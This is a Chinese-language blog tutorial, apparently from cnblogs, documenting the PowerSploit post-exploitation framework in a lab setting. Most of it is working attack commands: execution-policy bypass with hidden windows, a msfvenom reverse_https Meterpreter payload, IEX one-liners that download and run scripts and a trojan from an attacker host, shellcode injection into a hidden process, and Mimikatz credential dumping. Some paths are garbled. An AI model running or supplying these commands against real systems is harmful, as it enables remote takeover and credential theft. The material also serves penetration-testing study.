• 11.PowerSploit攻击指南


    本人小白,写这篇文章主要记录一下自己的PowerShell学习之路,大牛请绕道:https://www.anquanke.com/subject/id/90541

    首先PowerShell的攻击工具有以下几种:

    • PowerShell:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。
    • Nishang:基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。
    • Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。
    • PowerCat:PowerShell版的NetCat,有着网络工具中的"瑞士军刀"美誉,它能通过TCP和UDP在网络中读取数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用它

    各个操作系统对应的PowerShell版本可以使用Get-Host或者$PSVersionTable.PSVERSION命令查看:

    如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些方法绕过策略来执行脚本,比如下面这三种:

    • 绕过本地权限执上传xxx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示:
    PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
    •  本地隐藏绕过权限执行脚本
    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1
    •  用IEX下载远程ps1脚本绕过权限执行
    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

    参数说明:

    • ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过这个参数,可以绕过一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
    • WindowStyle Hidden:隐藏窗口。
    • NoLogo:启动不显示版权标志的PowerShell。
    • Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
    • NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
    • Noexit执行后不退出Shell。这在使用键盘记录等脚本时非常重要。

    PowerShell脚本在默认情况下无法直接执行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本。

    PowerSploit

    PowerShell是一款基于PowerShell的后渗透(Post-Exploitation)框架软件,其github地址为:https://github.com/PowerShellMafia/PowerSploit

    这里通过kali下载安装,移动到/var/www/html 目录,开启apache服务,搭建一个建议的服务器:

     

     

    介绍各模块的功能:

    • AntivirusBypass:发现杀毒软件的查杀特征。
    • CodeExecution:在目标主机上执行代码。
    • Exfiltration:目标主机上的信息搜集工具。
    • Mayhem:蓝屏等破坏性脚本。
    • Persistence:后面脚本(持久性控制)。
    • Recon:以目标主机为跳板进行内网信息侦察。
    • ScriptModification:在目标主机上创建或修改脚本。

    PowerShell 脚本攻击演示:

    CodeExecution模块下的Invoke-Shellcode脚本常用于将ShellCode插入指定的进程ID或本地PowerShell中,下面介绍两种常用的反弹Meterpreter Shell方法:

    1.直接执行ShellCode反弹Meterpreter Shell

    首先在MSF里使用reverse_https模块进行监听:

    使用msfvenom命令生成一个PowerShell脚本木马:

    msfvenom -p windows/meterpreter/reverse_https lhost=192.168.0.133 lport=4444 -f powershell -o /var/www/html/test 

    接下来生成PowerShell脚本木马

    在目标机器PowerShell下输入以下命令来下载该脚本:

    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")

    接着下载木马:

    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/test")

    接着在PowerShell下运行以下命令:

    Invoke-Shellcode -Shellcode($buf) -Force

     现在返回MSF监听页面发现shell已经反弹成功

    2.制定进程注入 ShellCode 反弹 Meterpreter Shell

    同样在目标机器上下载需要使用的模块跟木马:

    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/test")

    接着输入Get-Process命令或者ps查看当前进程:

    然后输入以下命令创建一个新的进程,这里启动一个记事本,并把它设置为隐藏的,再输入Get-Process命令查看进程,可以看到多了一个进程,ID为3520,名为notepad的进程:

    Start-Process c:windowssystem32
    otepad.exe -WindowStyle Hidden

    接着输入以下命令,使用Invoke-Shellcode脚本进行进程注入:

    Invoke-Shellcode -ProcessID 3520 -Shellcode($buf) -Force

     现在返回MSF监听页面发现shell已经反弹成功.

    Invoke-Portscan

    Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,还是先下载脚本:

    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/Recon/Invoke-Portscan.ps1")

    然后使用以下命令进行端口扫描:

    Invoke-Portscan -Hosts 192.168.0.133 -ports "80,22,3389"

    Invoke-Mimikatz

    Mimikatz用来抓HASH,先来下载所用脚本:

    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")

    然后执行以下命令来抓取hash,不过首先必须是管理员权限,意思就是要先提权:

    Invoke-Mimikatz -DumpCreds

    .......

    PowerUp

    主要来介绍PowerUp模块,powerUp拥有众多用来寻找目标主机的Windows服务漏洞进行提权的实用脚本,先下载脚本:

    IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/Privesc/PowerUp.ps1")

    1.Invoke-AllChecks

    该模块会自动执行PowerUp下所有模块来检查目的主机:

    2.Find-PathDLLHijack

    该模块用于检查当前%PATH%的哪些目录是用户可以写入的:

    3.Get-ServiceDetail

    该模块用于返回某服务的信息:

    ......

    参考连接:

    http://www.52bug.cn/4585.html

    https://www.0xss.cn/100.html

    https://www.freebuf.com/sectool/131275.html

    http://www.vuln.cn/6436

  • 相关阅读:
    微软下载
    stsadm.exe
    将表数据生成Insert脚本
    silverlight客户端保存文件乱码问题
    MySql全文索引
    SQL 自增主键从1开始
    Redis 数据结构之简单动态字符串SDS
    vs2012升级到vs2013后,sql server 无法通过IP登录解决方案
    常见XSD问题
    EntitySpace 常用语句
  • 原文地址:https://www.cnblogs.com/bmjoker/p/10164995.html
Copyright © 2020-2023  润新知